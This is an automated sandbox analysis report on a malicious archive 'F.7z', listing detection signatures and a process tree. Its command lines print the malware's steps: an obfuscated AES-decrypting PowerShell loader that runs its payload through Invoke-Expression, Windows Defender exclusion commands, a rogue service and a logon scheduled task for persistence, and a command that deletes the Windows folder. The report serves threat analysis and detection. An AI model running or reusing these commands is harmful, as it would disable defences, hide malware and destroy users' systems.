Edit tour
Windows
Analysis Report
F.7z
Overview
General Information
| Sample name: | F.7z |
| Analysis ID: | 1501605 |
| MD5: | 5132591a35248a8d71171cb5f4343334 |
| SHA1: | 78a0c5b34c107a68cad2d36424a6efbffac11412 |
| SHA256: | ef33c2231c3d46e64e1d070493ef920e34fd4b7aec4145711eeac0cb0ccb6651 |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: TrustedPath UAC Bypass Pattern
Yara detected Powershell decode and execute
Adds a directory exclusion to Windows Defender
Changes security center settings (notifications, updates, antivirus, firewall)
Creates a Windows Service pointing to an executable in C:\Windows
Drops executables to the windows directory (C:\Windows) and starts them
Found suspicious ZIP file
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious New Service Creation
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains capabilities to detect virtual machines
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to create an SMB header
Contains functionality to detect virtual machines (SLDT)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Explorer Process Tree Break
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Uses the system / local time for branch decision (may execute only at specific dates)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64_ra
OpenWith.exe (PID: 6944 cmdline: C:\Windows \system32\ OpenWith.e xe -Embedd ing MD5: E4A834784FA08C17D47A1E72429C5109)
svchost.exe (PID: 6324 cmdline: C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- svchost.exe (PID: 4816 cmdline:
C:\Windows \System32\ svchost.ex e -k Netwo rkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- SgrmBroker.exe (PID: 6092 cmdline:
C:\Windows \system32\ SgrmBroker .exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)
- svchost.exe (PID: 2480 cmdline:
C:\Windows \System32\ svchost.ex e -k Local SystemNetw orkRestric ted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- svchost.exe (PID: 5912 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s U soSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- svchost.exe (PID: 5188 cmdline:
C:\Windows \System32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) 
MpCmdRun.exe (PID: 1032 cmdline: "C:\Progra m Files\Wi ndows Defe nder\mpcmd run.exe" - wdenable MD5: B3676839B2EE96983F9ED735CD044159) 
conhost.exe (PID: 5032 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- svchost.exe (PID: 4800 cmdline:
C:\Windows \system32\ svchost.ex e -k Unist ackSvcGrou p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
7zFM.exe (PID: 4228 cmdline: "C:\Progra m Files\7- Zip\7zFM.e xe" "C:\Us ers\user\D esktop\Fzi p" MD5: 30AC0B832D75598FB3EC37B6F2A8C86A)
wscript.exe (PID: 6276 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\D esktop\roo tdir\x4478 23.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 2044 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\rootd ir\x615759 .bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 1132 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - chcp.com (PID: 3840 cmdline:
chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32) 
explorer.exe (PID: 1532 cmdline: explorer " ..\USB Dri ve" MD5: 662F4F92FDE3557E86D110526BB578D5) - xcopy.exe (PID: 3268 cmdline:
xcopy "C:\ Windows\Sy stem32\pri ntui.exe" "C:\Window s \System3 2" /Y MD5: 39FBFD3AF58238C6F9D4D408C9251FF5) - xcopy.exe (PID: 4436 cmdline:
xcopy "x24 9569.dat" "C:\Window s \System3 2" /Y MD5: 39FBFD3AF58238C6F9D4D408C9251FF5) 
printui.exe (PID: 2312 cmdline: "C:\Window s \System3 2\printui. exe" MD5: 2FC3530F3E05667F8240FC77F7486E7E) - printui.exe (PID: 2328 cmdline:
"C:\Window s \System3 2\printui. exe" MD5: 2FC3530F3E05667F8240FC77F7486E7E) - printui.exe (PID: 2924 cmdline:
"C:\Window s \System3 2\printui. exe" MD5: 2FC3530F3E05667F8240FC77F7486E7E) - cmd.exe (PID: 3588 cmdline:
"C:\Window s\System32 \cmd.exe" /c powersh ell -Comma nd "functi on dcstr { param ( [ string]$cp tx, [byte[ ]]$ky, [by te[]]$vv ) $aee = [S ystem.Secu rity.Crypt ography.Ae s]::Create (); $aee.K ey = $ky; $aee.IV = $vv; $decr = $aee.Cr eateDecryp tor($aee.K ey, $aee.I V); $ciptb yt = [Syst em.Convert ]::FromBas e64String( $cptx); $d ecrbyt = $ decr.Trans formFinalB lock($cipt byt, 0, $c iptbyt.Len gth); retu rn [System .Text.Enco ding]::UTF 8.GetStrin g($decrbyt ); } $b64 = 'bEwPXcE xNI2H+9tnO rO88vZr8Ls vFbHxwO43z jWB2UEe39w bWt2wfYJn+ M6AjL2oz3g Igcocur6WC c/5IYLV6c3 HjNhgfxV59 aCFOKqxmKX u/mfoJbe45 VyAXPin5Er M20zro4fLl jjJuxjliX/ F0TOK8TE1C gAQLpE0b+B o2x4Qgs6hR alwuJuorg9 Gjhgh'; $k y = [byte[ ]](0x1E, 0 x5B, 0x26, 0xF0, 0x7 5, 0x52, 0 xE6, 0xF4, 0x7D, 0xB B, 0x3A, 0 x6D, 0xB0, 0xE4, 0x9 8, 0xE4); $vv = [byt e[]](0x10, 0x5B, 0x2 6, 0xE1, 0 x75, 0x51, 0xE6, 0xF 4, 0x7D, 0 xBB, 0x3A, 0x6D, 0xB 0, 0xE1, 0 x88, 0xFF) ; $pcmd = dcstr -cpt x $b64 -ky $ky -vv $ vv; Invoke -Expressio n $pcmd;" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 3108 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 3740 cmdline: powershell -Command "function dcstr { pa ram ( [str ing]$cptx, [byte[]]$ ky, [byte[ ]]$vv ) $a ee = [Syst em.Securit y.Cryptogr aphy.Aes]: :Create(); $aee.Key = $ky; $ae e.IV = $vv ; $decr = $aee.Creat eDecryptor ($aee.Key, $aee.IV); $ciptbyt = [System. Convert]:: FromBase64 String($cp tx); $decr byt = $dec r.Transfor mFinalBloc k($ciptbyt , 0, $cipt byt.Length ); return [System.Te xt.Encodin g]::UTF8.G etString($ decrbyt); } $b64 = ' bEwPXcExNI 2H+9tnOrO8 8vZr8LsvFb HxwO43zjWB 2UEe39wbWt 2wfYJn+M6A jL2oz3gIgc ocur6WCc/5 IYLV6c3HjN hgfxV59aCF OKqxmKXu/m foJbe45VyA XPin5ErM20 zro4fLljjJ uxjliX/F0T OK8TE1CgAQ LpE0b+Bo2x 4Qgs6hRalw uJuorg9Gjh gh'; $ky = [byte[]]( 0x1E, 0x5B , 0x26, 0x F0, 0x75, 0x52, 0xE6 , 0xF4, 0x 7D, 0xBB, 0x3A, 0x6D , 0xB0, 0x E4, 0x98, 0xE4); $vv = [byte[] ](0x10, 0x 5B, 0x26, 0xE1, 0x75 , 0x51, 0x E6, 0xF4, 0x7D, 0xBB , 0x3A, 0x 6D, 0xB0, 0xE1, 0x88 , 0xFF); $ pcmd = dcs tr -cptx $ b64 -ky $k y -vv $vv; Invoke-Ex pression $ pcmd;" MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 5040 cmdline:
cmd.exe /c powershel l -Command "Add-MpPr eference - ExclusionP ath '%Syst emDrive%\W indows \Sy stem32'; A dd-MpPrefe rence -Exc lusionPath '%SystemD rive%\Wind ows\System 32';" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7140 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6580 cmdline:
powershell -Command "Add-MpPre ference -E xclusionPa th 'C:\Win dows \Syst em32'; Add -MpPrefere nce -Exclu sionPath ' C:\Windows \System32' ;" MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7072 cmdline:
cmd.exe /c sc create x338625 b inPath= "C :\Windows\ System32\s vchost.exe -k DcomLa unch" type = own star t= auto && reg add H KLM\SYSTEM \CurrentCo ntrolSet\s ervices\x3 38625\Para meters /v ServiceDll /t REG_EX PAND_SZ /d "C:\Windo ws\System3 2\x338625. dat" /f && sc start x338625 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7056 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 1256 cmdline:
sc create x338625 bi nPath= "C: \Windows\S ystem32\sv chost.exe -k DcomLau nch" type= own start = auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - reg.exe (PID: 752 cmdline:
reg add HK LM\SYSTEM\ CurrentCon trolSet\se rvices\x33 8625\Param eters /v S erviceDll /t REG_EXP AND_SZ /d "C:\Window s\System32 \x338625.d at" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4) - sc.exe (PID: 1252 cmdline:
sc start x 338625 MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - cmd.exe (PID: 2276 cmdline:
cmd.exe /c start "" "C:\Window s\System32 \console_z ero.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5464 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - console_zero.exe (PID: 3276 cmdline:
"C:\Window s\System32 \console_z ero.exe" MD5: 7D5124735B17F17AB3DACBA515C397F0) - cmd.exe (PID: 2104 cmdline:
cmd.exe /c schtasks /delete /t n "console _zero" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4188 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 1532 cmdline:
schtasks / delete /tn "console_ zero" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - cmd.exe (PID: 2516 cmdline:
cmd.exe /c schtasks /create /t n "console _zero" /sc ONLOGON / tr "C:\Win dows\Syste m32\consol e_zero.exe " /rl HIGH EST /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 1976 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 2564 cmdline:
schtasks / create /tn "console_ zero" /sc ONLOGON /t r "C:\Wind ows\System 32\console _zero.exe" /rl HIGHE ST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - cmd.exe (PID: 6712 cmdline:
cmd.exe /c timeout / t 10 /nobr eak && rmd ir /s /q " C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6188 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - timeout.exe (PID: 1488 cmdline:
timeout /t 10 /nobre ak MD5: 100065E21CFBBDE57CBA2838921F84D6)
- explorer.exe (PID: 2152 cmdline:
C:\Windows \explorer. exe /facto ry,{75dff2 b7-6936-4c 06-a8bb-67 6a7b00b24b } -Embeddi ng MD5: 662F4F92FDE3557E86D110526BB578D5)
- svchost.exe (PID: 6412 cmdline:
C:\Windows \System32\ svchost.ex e -k DcomL aunch MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - cmd.exe (PID: 2300 cmdline:
cmd.exe /c powershel l -Command "Add-MpPr eference - ExclusionP ath 'c:\wi ndows\syst em32';" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4388 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 1420 cmdline:
powershell -Command "Add-MpPre ference -E xclusionPa th 'c:\win dows\syste m32';" MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 5920 cmdline:
cmd.exe /c powershel l -Command "Add-MpPr eference - ExclusionP ath 'E:\'; " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 1112 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6612 cmdline:
powershell -Command "Add-MpPre ference -E xclusionPa th 'E:\';" MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 1100 cmdline:
cmd.exe /c powershel l -Command "Add-MpPr eference - ExclusionP ath 'F:\'; " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2828 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 5020 cmdline:
powershell -Command "Add-MpPre ference -E xclusionPa th 'F:\';" MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||
| Source: | Author: Florian Roth (Nextron Systems): | ||